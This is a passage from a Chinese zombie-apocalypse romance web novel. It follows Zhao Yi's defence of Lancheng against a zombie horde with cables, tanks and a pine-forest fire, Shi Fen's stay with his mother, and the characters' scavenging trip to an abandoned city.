“哦,让他把事务交给我的副官,”赵弋在跟林浓挂断通话前就把副官叫到新基地了,“让他来前线。”
“啊?他一个文职人员来前线干嘛?”
“我看他头脑灵活,适合跟着他们潜入尸潮揪出尸王。”赵弋笑道。
秦丰就觉得他这个笑凉飕飕的。
林浓干了什么得罪老赵了?难道是欺负时枌?不然怎么会被老赵恶意报复丢进尸潮?
尽管疑惑,但秦丰还是照做,把林浓带了过来,林浓要求见赵弋,身旁士兵就给他身上挂丧尸内脏,催促他钻进尸潮。
他当了半辈子的公务员,哪见过这阵仗。
林浓:“我……”
“别唧唧歪歪,赶紧抓,尸潮都快控制不住了。”
就被推了进去。
每一分每一秒都很珍贵。
整个阳县,无论是新基地旧基地还是居民区都灯火通明,整晚未眠。
人们抬眼就能看见在马路上推搡着狂奔的丧尸,像一条黑色巨蟒,望不到头地从他们眼前掠过。
大家都会担心,这条巨蟒是否会扭头给他们一口。
但是拦在人们身前的,是背对着他们的士兵,他们或是用刀或是用枪,清理那些跌下马路的丧尸,隔一段时间就是重机枪的弹幕扫射,子弹穿过一具一具的丧尸,枪声停歇时,就有身穿灰黑色作战服的士兵上前处理残余的丧尸。
作战服上是乌黑的血。
时枌也在其中,她胳膊都快麻木了,握刀的手都在发抖。
来不及去观察丧尸头脑中哪个方位适合用刀插入而不会卡她的刀,必须一击致命,刀卡住了就换新的,身旁队友会抽空帮她拔刀。
直到力竭,她被换下休息。
她不知道过了多长时间。
天光大亮的时候,赵弋开车来接她,他竟然还抽空去洗了把脸,身上脏的要命但脸是干干净净的,而时枌头盔上的碎骨碎肉都快影响她视线了,只被临时抹出一块空间。
他捏着她手腕揉捏,“放心,全部丧尸都出来了。”
“……”
这难道是什么值得开心的事吗?
“再过一个小时,尸潮就会掠过阳县。”他又说。
时枌:“那就好。”
“我会从侧面,顺着农场的方向去兰城,放心,不会让它们下来。”
时枌都快忘了自己的农场了,听他说起还恍惚。
但是比起农场,她更担心他。
“你要去兰城?”
“嗯。”
时枌抿着唇,眉毛也拧着,“我跟你一起去。”
他替她摘下头盔,低头一吻,“不用,你好好休息。”
只要尸潮过去,阳县
就是安全的,他们可以缩小范围,加大力度巡查清理丧尸,大部分压力只会给到兰城。
她仰头揪着他腰带,“我要和你一起去。”
赵弋笑了,“我去兰城是指挥作战,你去了也帮不上忙。”
“指挥作战?不是他们要清算你引尸潮去兰城吗?”
“……”
孩子大了,不好骗了。
“你不会想要一个人过去吧?”
“我很惜命的。”他说,“放心,我爸妈在兰城,反正不会死。”
“我不信,”时枌看着他,“你要是敢丢下我,明天我就挑个身体好合眼缘的来农场接替你的位置,我觉得张照照就不错,年轻有力气还好骗,不比你差。”
“……”
尸潮尾巴彻底经过阳县的时候,赵弋接到城主通话申请,要他去兰城主持大局。
城主直言,他们都老了,威望不如从前,现在能凭借赵千嶂稳住全城的民心已是不易,他们需要年轻的将领来带领新一代士兵,不然军心涣散,恐难支撑。
“你们城主说话文邹邹的。”副驾驶叼着营养液的时枌吐槽。
最后赵弋还是带上她开车去兰城。
毕竟,赵队压力很大。
他带了十余人的队伍,——包括刚从尸群中劫后余生的林浓,留下秦丰和他的副官一行人在阳县清理剩余丧尸。
“年纪大了,身体素质不行,就只能抓文化方面了。”跟他那个后爸一样。
卷不了年轻有活力,卷个好名声总是不差的。
后座周霓骂骂咧咧:“老娘刚从前线回来,就让我去另一个前线,我生是阳县人死是阳县魂,让我给兰城卖命那是不可能!”
她身旁的林浓:“……”
挤在一辆车的张照照看窗外的尸潮:“我感觉尸潮变小了。”
周霓:“废话,它们自己人挤自己人,压都压死了,我估计这没有三千万了。”
林浓调整好心情加入聊天行列:“三千万人,一平米能站八人,一个足球场将近八千平米,三千万算下来就是四百多将近五百个足球场的大小……现在看规模,应该缩水了将近一半。”
缩水的部分中一些被踩踏压扁成了脚下肉泥,另一些被他们阳县分担。
赵弋正在跟兰城方面通话,部署接下来的任务安排。
至少要在尸潮到达兰城门口时提前部署,不可能全城人都趴城墙上拿枪射击,他们之前提出派坦克部队冲散尸潮,被赵弋否决。
一辆坦克有多大?能冲散多少?而西区基地说他们也只有十辆坦克,怎么,是打算这次一起钻进尸群然后趴窝被丧尸吞没吗?
他们根本不清楚到底有多少丧尸。
赵弋怀疑兰城这群人还没睡醒。
“让坦克先出城,从侧面切入,拦截尾部丧尸,另外让你们工程兵出来,在沿途设置钢索,左右两边都是树林,挑棵大树绑好至少能减缓尸潮速度,南区那个谁把炸药搬出来,别在兰城当缩头乌龟,提前在路上布置炸药废不了多长时间,车队呢?制造噪音吸引丧尸引入松林,现在是秋天,天干物燥,松树易燃,把尸群引进去点火,明白?”
南区那个谁姚山:“……”
松树林还是时枌想的办法,当初来兰城她就说这个松树林易发生火灾,因为松树容易分泌松脂,松脂易燃,烧起来可带劲了。现在也不用等着它自己起火了,正好许久没下雨,人都燥得不行,一把火还不得烧得轰轰烈烈。
“烧之前记得砍防火带,不用我提醒吧?”
“东区探险小队也别睡了,把屁股从床垫上拔起来干活,从兰城后门绕到侧面清理丧尸。”
“西区的,子弹备足,别打的正欢机枪都趴窝,明白?”
驾驶座赵弋一句接一句,语气十分欠揍,后座周霓都忍不住吐槽:“赵队回兰城会不会被他们吊起来抽啊。”
林浓心想:抽不抽他不知道,他只知道现在就算是兰城得知尸潮内情,他也没办法用通话记录来证明自己了。
因为他自己就被赵弋丢进尸潮捉过尸王,为尸潮绕路出了自己那一份不可分割、不可洗脱的贡献。
现在他就是被赵弋捆上绳的蚂蚱,这不,兰城明明没点名要他来,赵弋愣是在一堆经验丰富的小队成员中把他带上了。
车速比尸潮要快,经过长途跋涉,尸潮速度已经不比一开始,让之前赵弋预估的时间都延长了一个多小时,可谓是给了充分的准备时间。
赵弋抵达兰城城门口,第一次不需要安检,被他们恭恭敬敬请进去,甚至没让他们卸枪。
看他们这态度,赵弋先看了眼人群后的爸妈,跟他妈对了个眼神后心下了然,确定了现在兰城的态度。
从刚刚车上通话中赵弋大概就摸清楚了兰城的现状,他们好像对他在A城所作所为一无所知,除了一些对他通知不及时地抱怨也没提到其他,看来兰城人昨晚是真的睡得沉,监听他的人都没上报。
刚刚嘴上还阳县人阳县魂的周霓见了前来迎接的城主跟东南西北四大司令们一下就变得安静如鸡,在城主上前慰问时站的笔直,小嘴一张就是正义凛然:“我是兰城人,兰城有难我当然要来帮忙,这是军人的职责!”
林浓:“……”
张照照:“对!我们生是兰城人死是兰城鬼!誓与兰城共存亡!”
时枌:“……”
第 132 章【VIP】
第132章 第132章兰城水好深。
根本没有什么接风洗尘,赵弋带着的十几号人立马就开始干活。
毕竟丧尸可不会等他们吃完接风宴乱七八糟寒暄后才会抵达兰城。
赵弋在车上的布置现在已经安排下去,整个兰城的军队甚至包括各个工厂的工人都被叫醒由他指挥。
目前最重要的三个拦截尸潮的措施就是:沿途设置钢索,高度要在脖颈,一击毙命;坦克部队待人出发从后绕到尸潮尾巴阻截;分派部队将边缘丧尸引入松树林并点火同时在兰城围墙附近砍处一条防火带避免兰城遭殃。
三件事都是赵弋带来的人领导,兰城人配合安排听从指挥。
周霓被派去设置钢索,林浓配合她调兵遣将给一部分刺头做思想工作。
张照照负责坦克部队,他一个小孩威望不足,但是赵弋把他爸搬了出来,赵千嶂会随坦克部队出发绕后,那些兵或许不服从张照照的指挥,但有赵千嶂在,他们不敢闹事。
松树林点火则是赵弋带队,他在兰城当了十几年高级指挥官,名号说出去还是很能唬人的,能在他手底下出任务对普通士兵来说是难得的机会。
还不到普通人上班时间,整个兰城就开始动作起来。
时枌跟着赵弋带队进入松树林,她熟悉野外环境,也知道该如何操控尸潮。
他们从兰城后门出来,由松树林南面切入。
好在兰城这么些年都派探险部队勘测地形,这片林子的地图也十分详细,他们开车进入,很快就穿过,路上当然遇到过不少还潜藏在林中的队伍,他们出于人道主义对空开枪提醒他们快速离开。
赵弋听时枌的话,在农业基地挑选了一批会套绳的牛仔,从侧面观望尸潮,再由赵弋跟时枌挑选信息素爆炸的尸王,牛仔们就能甩绳子将它们套住,这个办法比他们在阳县偷偷钻进尸潮拽要安全得多。
时枌也是因为邻居罗辉平时在家驯马套牛套羊的,自己也学了一点,但手艺不精,正好今天就想到了这个办法。
周围跟他们一起的士兵并不知道什么“尸王”,只是听赵弋的话,而且他们也发现套中一只丧尸开车拽出来,确实是会带着一批丧尸分离尸潮。
“注意顺序,从外往内,**准备好了吗?”赵弋握着对讲机询问。
他目光落在时枌所在那辆车上,她看着还挺自在,跟身边牛仔学如何套丧尸。
兰城人多兵多车多,这一次几乎调用了全城的资源,足够铺开一个松树林的防线,垂直于兰城一字拉开,由外,也就是尸潮中部开始套尸王吸引丧尸,最外层得手之后再继续下一个,直到他们所在的靠近兰城墙壁的一侧。
砍防火带跟吸引丧尸需要同时进行,不然时间根本不够。
吸引完丧尸他们就会拽着尸王开车进去松树林深处,直到丧尸进入松树林后散开,到达松树林另一端前标记地点处就会松开尸王撤离。
这项任务看似简单,但危险性极高。
万一车速赶不上丧尸扑上来的速度,他们就很可能会被丧尸吞没,又或者开车的人开小差错过时机,一车人都得完蛋,赵弋已经尽量挑选车技不错的人来开车,但时间紧迫,没办法细细挑选。
在靠近他们的一辆车启动过慢,被丧尸扒到车后时,赵弋直接大声让旁边车去支援,同时时枌也发现了他们的不对劲,抬枪支援。
她枪法足够准,一枪一个丧尸头炸开,靠近那辆车的丧尸一个个倒下,但跟随尸王而来的丧尸实在太多,甚至有丧尸抓着轮胎,或被压在轮胎下。
车辆能够启动,但被丧尸骨头卡住,车上人枪里的子弹都打光。
但先前部队已经完成任务,一波小尸潮扑向松树林,折扇般展开。
在出现第一抹血腥味时,饥渴的丧尸机能拉满,扑上了车。
赵弋快速决断:“撤离!我数到三,剩下车辆同时行动!”
“一!”
“二!”
“三!”
剩余的四辆车同时拉扯套住的尸王,硬生生给尸潮扯开一个大口子,拖拽了一大批丧尸进入松树林,车声在轰鸣,与此同时,兰城城墙上开始朝他们已经撤退的方位发射**。
周围除了丧尸破风箱般的嘶吼,还有隐藏其中噼里啪啦的火星攒动,很快,火舌舔上的松树,地面厚厚的一层干燥的松针更是上好的燃料,这阵细碎的噼啪声很快变得炽热,火焰席卷而来。
时枌只觉得面前一阵热浪,她还没来得及感叹这么好的松针白白被烧了不然送回农场是多好的改良土壤
材料,就被赵弋拉着下来,摁会副驾驶上。
“别乱看。”他语气还挺凶。
“哦。”时枌倒是很乖。
“后续丧尸清理工作不需要你,这里也不是阳县,更不是农场,少了你不会有什么。”
赵弋开着车,车速很快,皮卡后边载着的牛仔都缩成一团生怕自己被颠出去。
时枌也没那么圣母心,走到哪就拯救到哪,她从昨晚到现在东奔西跑都没停过,一顿正经饭也没吃上,况且,后续丧尸清理工作必然是个重复、无聊、繁冗的任务,她也不想上赶着给人打白工。
反正她这次积分赚得够多了。
车子堪堪躲避火舌的追赶,赵弋开车还不忘一心二用安排其他事务,时枌补好子弹就继续端着枪解决一些过于“坚强”的丧尸。
快到达出口,穿过密集的松树林透露出来的天光让他们眼睛不适应地眯了起来,赵弋开车依旧很稳,到达空旷的马路一脚刹车停下,车后的牛仔们终于能松口气。
“你想回阳县帮秦丰,还是留在兰城?可以住我家,家里有阿姨帮你做饭洗衣服,有二十四小时热水也有电,我房间有电脑有游戏可以玩。”
他在第二个条件上加码这么多,谁听不出来他是什么意思啊。
电脑跟游戏确实很香。
时枌自然选择后者,“那我住你家吧。”
赵弋在她的农场住了那么久,她住他家也很正常,也不算她欠他们家人情,时枌想的很通透,没有半点心理负担。
从兰城后门撤离,换下一批士兵来清理从火场中逃离的丧尸,——他们没有时间来清点伤亡。赵弋要留下来主持大局,时枌自己开车去他给的坐标,他提前给他妈发了消息,她到时候会在门口迎接时枌。
时枌进城时在门口见过他妈,只是当时人太多太乱,赵弋也没能跟父母说上话,她自然也是,但时枌记得那张脸。
在人群中鹤立鸡群般的优雅。
是时枌此前从未见过的气质,要说有谁比较相似,大概就是阳县财务部的余姐吧,只是赵弋妈妈看起来气场更足更高不可攀一些。
疲惫的时枌边开车边打哈欠,终于在过了小区门口的安检过后,上交了自己刚刚打空子弹的枪,被允许进入。
时枌并不知道是哪栋房子,车速很慢,扭头一个个看,开着开着,就看见一栋小洋房前站着熟悉的人。
赵弋家按面积来算跟她的农场没办法比,但时枌小时候听爷爷说过,这种城里的独门独户的小洋房跟他们农村的独门独户不是一个概念,他们寸土寸金的地盘上还允许保留隐私的房子,可贵了。
时枌异常乖巧地停好车,拉开车门,就差跟人鞠躬,跟人打招呼:“阿姨好。”
唐璟看了眼她停得歪七扭八的车,再看看时枌。
小姑娘明显是刚从战场上下来,一身衣服脏得不能再看,她记得在城门口那一眼看见时枌还是一身丧尸骨肉,进城他们都换了新的作战服,只是马不停蹄又去出任务,还是碰了一身灰回来,但脸蛋是白净的,模样秀气,还带着点灵气,大大方方无拘无束。
她儿子单了这么多年都没人要,好不容易找到这么个正常人类女性,听说时枌还是他们小队成员,枪法特别准,家里有农场,一个人在外边独自生存这么多年,能力肯定没得说。
家里有地,自己又有自保的能力,她能看上她儿子啥?
唐璟在时枌来之前就思考过这个问题了。
“累了吧?车钥匙给司机,咱们先吃饭,再好好休息。”唐璟温声细语地拉她进屋。
没想到赵弋妈妈还挺温柔的,时枌一下子就放松了。
“小弋说你不挑食,但是我想着毕竟是刚出完任务一整晚都没好好休息,就给你准备了红烧牛肉,白灼虾,先补充能量……”唐璟微笑着说。
“我确实肚子也饿了。”营养液根本就不饱肚子。
时枌看见已经准备好的饭菜狂流口水,在唐璟坐下后自己坐下,身边有人给她送了碗米饭,她拿起筷子就开吃。
唐璟问她年龄,家里怎么样。
“快二十一了,爷爷奶奶很早之前就去世,家里就我一个人。”
二十一。
依稀记得她上次给她好大儿介绍相亲对象城主女儿,好大儿以年龄差距太大拒绝,说自己年纪大了不耽误小姑娘。
呵呵。
时枌这么嫩张脸,他也好意思下手。
“我听说小弋之前都住在你的农场,他没给你添麻烦吧?”
时枌嚼着牛肉摇头。
这熟悉的问题赵弋他爸也问过。
时枌又摇了摇头,嘴巴张不开,实在没空回答,因为太想吃饭了。
唐璟可以理解,“那……阳县的事,你是一直跟着小弋的吧?”
“嗯。”
“那我方便问问,A城那晚发生了什么吗?”
没等时枌回答,唐璟就解释道:“我不是刻意打听什么,只是兰城情况复杂,兰城无论大小领导手表都是被监听状态,我想了解情况,方便……给我那个不省心的儿子擦屁股。”
时枌惊讶,“兰城水好深。”
第 133 章 正文完
第133章 正文完有她就足够了。
时枌吃完饭,吃着小零食把他们昨晚在阳县的情况讲述一遍,期间唐璟会提问,问的还是挺关键的问题,比如赵弋跟你们发布任务是用对讲机还是手表,再比如这个操控尸潮的办法具体都有谁知道,尤其关键的是这件事的发生顺序。
赵弋是先知道他们有操控尸潮的办法再去阻拦活捉白狼一群人,还是在出任务的现场才得知,或者说,是在尸潮已经发生而他们正巧捉到了几个白狼团伙成员审讯意外得知。
时枌就很老实地回答:“这件事我们以前在出任务的时候大概就知道了,而且赵弋说他之前接触的野狼队伍之中也是一样会用丧尸做掩护,我以为你门发布这个任务心里就有一些猜测呢。”
唐璟的工作并不会接触这些,因此听到她说所谓“操控尸潮”是在他们S级任务中有记录之后,那这件事就可以很灵活了。
“如果之后有人问起这件事,你就说你们也是尸潮发生之后才从他们口中得知操控尸潮的具体办法,明白吗?”唐璟对她说。
时枌很乖巧地点头。
“小弋这次带来的人我看大部分都是生面孔,他把他那个副队长还有几个队员都留在阳县了吗?”
“是的。”
“阳县那边的情况应该没什么问题吧,兰城出这么大的事,他为什么要留那么多精锐在阳县呢?”唐璟看着时枌这张天真面孔,异常有耐心地将手边的坚果推到她面前让她不用客气继续吃。
“可能是忙了一晚上想让他们歇一会儿吧?”时枌倒是认真想了想,“或许是赵弋接到兰城通知的时候也拿不准兰城的态度,不敢让所有人一起过来冒险。”
“嗯,这是一部分。”唐璟笑了起来。
时枌觉得她这个
笑就很……反派。
像是自己提前布局成功胜券在握。
到阳县之后赵弋跟秦丰一直都是分开行动,秦丰现在也是可以独当一面的领导者了,所以这次赵弋没带上秦丰时枌没觉得有什么奇怪,那把秦丰都留下了,再留下骨头叶枝蔚给他打下手不是很正常吗?
难道是赵弋对他们有其他安排?
时枌不明白。
面前这个麻辣小鱼干味道是真的不错,她一条一条慢慢嚼着,觉得辣了就喝柠檬水吃点坚果,把自己空空的肚子塞的饱饱的。
聊了这么久其实才上午十点半,唐璟看她在打哈欠,于是提议让她先去休息。
“睡小弋的房间吧,他的房间经常打扫比较干净,等他回来可以睡客卧。”唐璟让阿姨领她上楼,“刚刚从你这里了解了详细情况,现在我得去办点事,晚饭想吃什么?我让人去买菜?”
“牛肉,嗯……羊排有吗?”兰城物资丰富,有那么大的农业基地,应该肉类供应比较足。
“好。”
这种能主动提要求还把自己点的菜统统吃光不挑三拣四的小孩实在是太招人喜欢了。
时枌上了二楼,身边的阿姨帮她拿了一套干净的睡衣,她还是第一次摸到这么柔软的睡衣,软绵绵的,不知道是什么材质,浴室东西特别全,她好好洗了个澡,换下来的衣服跟这里格格不入,她刚吃饱抗着睡意洗澡,这会儿已经困的不行,阿姨敲门进来拿脏衣服,她还挺不好意思,阿姨倒是没什么,朝她温柔笑笑,替她带上门。
这一觉睡得又香又甜。
时枌从来没在这种充满安全感的房子里睡过觉。
即便是在自己的家里,她也是需要警戒注意周围的情况,以免有人半夜偷袭,又或是突然的鸟叫都会让她神经紧绷,也就是赵弋住进她家后她才放松许多。
但在这样的房子里,房门一关,舒适的床铺,隔音非常好,她似乎都只能听见自己的呼吸声,她知道自己在一个安全的地方,除了房子的保护,还有小区外的保安,还有兰城的城墙,还有守城的士兵。
时枌恍惚地理解了那些不愿迁移的兰城居民。
习惯这样安逸的人很难接受阳县那种环境吧?
那赵弋又是为了什么抛弃这一切的呢?
一觉醒来,这个问题在时枌闹钟盘桓不散,却很清晰地指向一个答案。
是为了她。
从前时枌并不觉得他有多爱,或者说,这种感情对她来说本来就是陌生的,现在她似乎明白了一点。
为了另一个陌生人舍弃自己拥有的,这种割舍,就是爱的一部分吧?
窗外已经是昏黄,看天色时间都已经不早。
时枌踩上拖鞋下床,刚睡醒还有点懵,出门站在楼梯上看见楼下的唐璟,一时之间都忘了打招呼。
“醒了?现在吃晚饭吗?小弋可能要晚点才能回来。”
“啊……我好像还不饿。”
“那再等会儿,他房间有电脑,你可以玩会儿游戏。”唐璟记得她儿子特地提过,小姑娘长这么大都没玩过正经电脑游戏。
“行。”时枌一口应下。
唐璟抿唇笑,“你好像不太担心小弋。”
“担心什么?”
“担心他出事?”
“啊,不至于吧,他没那么无能。”
唐璟就笑的更开心了。
时枌就这样玩上了电脑,虽然是单机游戏也玩的起劲,这一玩就到了晚上,直接错过晚饭,而唐璟竟然也没上来提醒她,只是在她玩得颈椎都不舒服切出来看见时间的时候才发现已经是晚上十点。
她……是不是有点没礼貌了?
时枌像个做错事的小孩,偷偷拉开门看见走廊的灯光,发现空无一人后,有种“可能也没发现她玩这么久”的庆幸,钻了出去,轻手轻脚走到楼梯口,看见在一楼聊事情的一家三口。
赵弋一身血肉模糊的作战服,赵千嶂也不遑多让,父子俩像是刚从丧失堆里爬出来的难民,而刚刚洗完澡换上舒服家居服的唐璟素颜依旧眉眼精致,头发丝都温顺得不行,还有洗的干干净净看起来跟刚起床似的时枌,对比十分惨烈。
“吵到你了?”赵弋仰头看着她,低声询问。
“没啊,我自己出来……透透气。”
赵千嶂看自己这副样子实在是没好意思见人,“那咱们先吃完饭?赶紧洗洗。”
唐璟盯着他们父子俩的鞋:“把鞋换了,别踩脏我的地毯。”
时枌恍惚记得自己进屋的时候没有换鞋,心虚地脚趾抠地。
赵弋这身衣服是连体的,没有拖鞋这个选项,于是被发配了一双鞋套套上才准上楼。
他太脏,走上楼梯也没去拉她,时枌跟在他后边一同往他房间去。
楼下唐璟出声提醒:“你的房间在走廊尽头的客卧,那间房给时枌住了。”
赵弋:“我去洗个澡。”
“客卧也有浴室。”
“东西不全。”
“呵呵。”
母子俩刀光剑影时枌都察觉到气氛不对劲,但她很识相地不说话,降低自己的存在感,等进屋了,只有两人,时枌才松了口气。
“好奇怪,你妈妈之前对我不是这样的。”
“正常,她一向看不起男人。”
“哇哦。”
赵弋不敢碰任何东西,直奔浴室,他自己都快被熏死了。
在外边杀丧尸的时候不觉得,一到这种干净的环境就觉得自己格格不入,这一刻赵指挥的洁癖到达了顶峰。
时枌很主动地问:“要帮忙吗?”
赵弋挑眉,顺杆而上:“要。”
就这样时枌跟着进了浴室,卷起袖子帮他脱作战服。
这玩意是真难脱,而且黏糊糊的,要不是浴室里有香水她都要被熏死了,废了老大劲才给他拽下袖子,赵弋自己去脱裤子,俯身时时枌就正好帮他摘面罩,顺手就扔进了垃圾桶。
给他剥干净后,时枌开热水给他先冲了一遍,然后让他自己打泡沫。
毕竟她自己也是辛辛苦苦洗干净的,她可不想又被他弄脏。
她就悠闲靠在洗手台,时不时给他递东西,比如洗面奶,比如洗发水,顺便闲聊。
“丧尸清理了多少啊?”
“一大半,还有部分往北边跑了,”赵弋边搓头发边回答,“松树林烧得太快,差点没控制住,后续又从城墙往下泼水,等彻底烧完了还有部分没死透的丧尸,需要明天再清理。”
“可能最近都没下雨,太干燥了。”
“周霓他们没事吧?”
“张昭昭不小心摔断了腿,没太大问题,已经送医院了。”
“还好是在兰城摔的,不然在阳县都没医院治他。”时枌很庆幸地说。
赵弋就笑。
“我以为你很关心他。”
时枌觉得莫名其妙,“我关心他干什么?”
正在往自己脑袋上抹第三遍洗发水的赵弋闻言顺手冲了自己头上的泡沫,顺手将长长地头发捋上去,两步走过来,俯身将手支在她身侧的洗手台边缘,那双黑沉沉的眼睛就这么看着她,“不是你说要用他代替我的吗 ?”
“你不是小孩子了,这种气话不要信。”
“我非要信呢?”
时枌垂眼想了会儿,仰头在他湿润的唇上亲了一下,“算了,这是你的情趣,我得配合一下,接下来是不是要哄你了?”
这次轮到赵弋愣住。
她抬手搭上他后颈,清明的眼睛看着他,“我不关心他,我只关心你。”
赵弋头一次有种……受宠若惊的错觉。
但这种话进入耳朵,钻进大脑,让他几乎下意识地就想要扬起嘴角,那种欢愉根本忍不住,一丝丝地往外冒。
他靠近,湿气也跟着靠近,抵着人额头,“我有点害怕。”
“……”
“再说一遍。”
“你好烦。”
她看见他肩上的淤青,又心软。
他看见她眼里的柔软。
“跟我说说,今天发生什么了?”他鼓励似的,低头亲吻她脸颊,略带冰凉又炽热的轻吻。
“就是忽然发现,你挺不容易的。”
“然后呢?”
时枌还是头一回这么跟人剖析自己内心的想法,一时之间不知道该如何措辞,于是改用询问的方式,“你为什么离开兰城?”
“不喜欢这里。”
“还有呢?”
赵弋鼻尖碰着人耳垂,“还有?”
“我是不是有点自恋,我总觉得你是因为我。”
“不是自恋,确实是因为你,但也不全是。”
当初去阳县的决定做的很仓促,他自己也不清楚是为了谁,厌倦了兰城是一方面,想要离她近一些也是一部分,但并没到那种地步,况且,把这种事归结于她,也会给人太大的压力。
她胳膊又缠紧了些,似乎对他的答案并不满意。
“你说话真难听。”她说。
“……”
好像是他没情商了。
她手指揪着他湿漉漉的短发,抿抿唇,“我今天睡觉的时候还觉得你因为我来阳县,心里愧疚得不行,下定决心要更爱你一点,好补偿你。”
她今天可太会说话了,句句都让他甜得不行。
他侧头亲吻她脸颊,再到嘴角,试图深吻被人推开。
对上她不高兴的眼睛。
他必须得说点什么才行。
可是说什么才好?
沉思片刻,赵弋才开口。
“以前我觉得兰城是希望,它或许可以停止腐烂,重获新生。”
“后来我觉得阳县更好,它是一块新土地,一切从头开始或许可以跟兰城不同,尝试另一条生存之路。”
“现在我才知道我不是那种领导者,我自私,懒惰,狭隘,只装得下你的农场。”
“和你。”
时枌伸手捂他嘴,“好了,别说了,我鸡皮疙瘩起来了。”
他笑着拉下她的手放在唇边轻吻,近乎虔诚:“时枌,我就交给你了。”
“我会好好对你的。”她笃定道,“虽然不像兰城有水有电还有电脑,但是……”
他低头吻她,堵回接下来所有的虽然但是。
有她就足够了。
番外一“好看,可以做。”……
时枌在赵弋家沉迷了七天电脑游戏。
一开始赵弋只是觉得孩子长这么大都没玩过正经游戏现在弥补童年缺失情有可原。
但直到某天凌晨三点,他被键盘声吵醒,看见蹲在椅子上被电脑屏幕照得跟个女鬼似的时枌,他终于意识到了网瘾少年的恐怖。
尸潮被冲散并不代表危机解除,四散的丧尸需要人清理,除开来兰城的第一天,接下来这段时间赵弋都被兰城官员当成免费牛马带领小队清理丧尸,账户积分疯涨的同时,早出晚归的赵队也忽略了时枌对电脑的沉迷。
所以在意识到这点后赵弋火速解决兰城丧尸,带着时枌跟其他队员准备撤离,顺便,借着张照照受工伤拉走了兰城一个医疗团队。
得知回阳县前一天时枌直接不装了,熬了个通宵,第二天早饭都没能吃,上车前补了支营养液,就在副驾驶戴上眼罩睡得香甜。
赵弋还得赶去阳县处理事情,时枌则是想顺路让她在农场下车就行,——这条建议被赵弋当场否决,他要带着她去阳县,时枌看在电脑游戏的份上没跟他计较。
不然凭她的性格,不想去阳县的话,中途跳车也不是不可能。
到了阳县之后,秦丰来迎接他们一群人,看见顶着黑眼圈面容憔悴的时枌都惊呆了。
“兰城阴气这么重?!”
赵弋:“她的黑眼圈跟丧尸没有半点关系。”
周霓:“我作证,时枌完全没参与后续清理任务。”
她一开始还会抽空问赵弋时枌在干嘛不想赵队奴役她的好姐妹,结果一连几天都没见时枌人影且得知她一天二十小时挂在网上刷装备后,周霓也识相地不问了。
时枌没有参与任务,所以她的账户积分只涨了几百,——去兰城第一天出任务的奖励。
但是跟着赵弋去的其他人这七天都颇有收获,因为兰城物资更多,他们原地赚钱原地花,拉回来两货车的生活用品,非年乐呵得嘴都合不拢,跟留守阳县的几人炫耀自己的收获。
同样操劳过度的林浓反而没买什么。
原因无他,他心虚。
接下来很长一段时间他都得夹着尾巴做人。
出去的十几人叽叽喳喳说着这些天辛苦砍丧尸攒的积分买的东西,秦丰眼中没有半点羡慕,反而轻蔑地一笑,挑了下右眉毛:“你们该不会没发现咱们基地变丰满了吧?”
除了赵弋其他人:“?”
周霓跟个向日葵似的原地转了一圈,忽然发现基地多了许多摄像头,训练场上的设备都变了模样,更可怕的是,多了几辆迷彩的武装车?
“你们疯了?从哪偷的?”周霓失声尖叫。
秦丰嘿嘿一笑,笑容十分猥琐。
他旁边的叶枝蔚递上一份清单给赵弋过目。
叶枝蔚:“这是我们这段时间从A时运过来的物资清单,这一份是政府的,这一份是居民自发去搬运的,武器弹药都收上来了,居民只允许搬运生活用品,哦对,矿山停工的运输车这两天都在跑A市,我们仓库太小,装不下,城建部门申请新建一个仓库,另外农业部申请建粮仓……”
离开阳县才一周的赵队刚回来,没被他索命鬼似的副官缠上,首先被叶枝蔚绊住脚原地开工处理事务。
时枌打着哈欠:“……没我的事可不可以回去睡觉啊?”
叶枝蔚:“别睡了,下一批去A市的运输车马上就要发车了,你不想去搬一些用得上的机器吗?”
现在也就是兰城没反应过来A市的情况,过段时间兰城接管,可就没他们的份了。
赵弋翻看文件的间隙瞥到昏昏欲睡的时枌,“不着急,你们先搬,兰城那边暂时空不出手。”
他不可能给那群人打白工,这七天赵弋看似早出晚归累死累活,实际纯纯磨洋工,把丧尸赶来赶去,补弹药都是磨磨蹭蹭的,一边补还一边薅兰城羊毛,他在罗辉原来农场附近留下了一批弹药,打算之后再去取,——这是给时枌的惊喜,毕竟普通居民无法从A市搬枪支弹药。
时枌终于能去睡个好觉。
第二天早上醒来,时枌才算是彻底清醒。
从没日没夜的游戏中抽离,她经历了一开始的人生无意义了无生趣后,终于缓了过来,脑子里已经有了计划,一早精神满满刷牙洗脸跟赵弋商量要去A市搜寻物资。
她也终于缓过神来,意识到赵弋去兰城为什么没带上秦丰他们。
赵弋对她今天的精神状态十分满意,“A市虽然是个旅游城市,占地面积不大,但在末世前是出了名的GDP前列城市,经济水平高,发展快,基础设施也非常完善,目前阳县只允许普通居民搬运除了武器弹药之外的物资,你可以去看看有没有什么需要的。”
乱七八糟十分官方的介绍。
时枌不懂GDP,只要能搜刮,她就很开心。
所以换好衣服下楼,她就跟着磨刀霍霍的周霓非年一起坐车去A市。
意料之外的,碰到了熟人。
罗辉不好意思地抓抓脑袋朝他们一笑:“之前张主任去我们那边给阿奇他们登记注册顺便跟我们提了,我就过来看看有没有什么东西能搬回去,你放心,阿奇跟另一个人也来搬东西了,余袅带着孩子在家,他们最近相处很不错。”
“A市情况怎么样?”时枌问。
毕竟他们已经去过了,时枌他们还没有,提前问问情况以做准备。
“没人抢东西的,那边有驻军,出口有人守着安检呢,地方又大,东西太多,不至于抢。”
时枌跟周霓都松了口气,撸起袖子准备大干一场。
两人在车上就列好了清单,又在地图上标记了几个坐标,比如家具厂之类的,因为此前在A市搜刮出一批崭新的货车,现在阳县到A市这条路上放眼望去全是他们的车,运货根本不成问题。
A市,现在就是一个巨型零元购商场。
根本来不及去看什么海,时枌先去搞了辆车,再去搜刮。
一整天下来,她搞了一整套滴灌设备、水龙头、花洒、不锈钢桶……鸡零狗碎地塞了一整车。
周霓都感慨:还得是时枌会过日子。
她不一样,她去整了一套装修工具,比如混凝土搅拌车。
这辆车,他们死活都不肯帮她托运,说太大太重不方便,幸好非年用两包烟贿赂了拖车的人,给她搞来了汽油,周霓自己坐车就给开回去了。
零元购足足持续了一个半月,赵弋都处理完事务准备请假回农场过冬的时候兰城才反应过来,他们先是派人来A市查看情况,正好是赵队曾经手底下的探险小队,被秦丰等人截胡,撺掇之下,小队跟他们一起瓜分物资,同时给他们在阳县留下房产田地,秦丰相当豪横地许诺如果他们在兰城混不下去他包他们在阳县吃香喝辣。
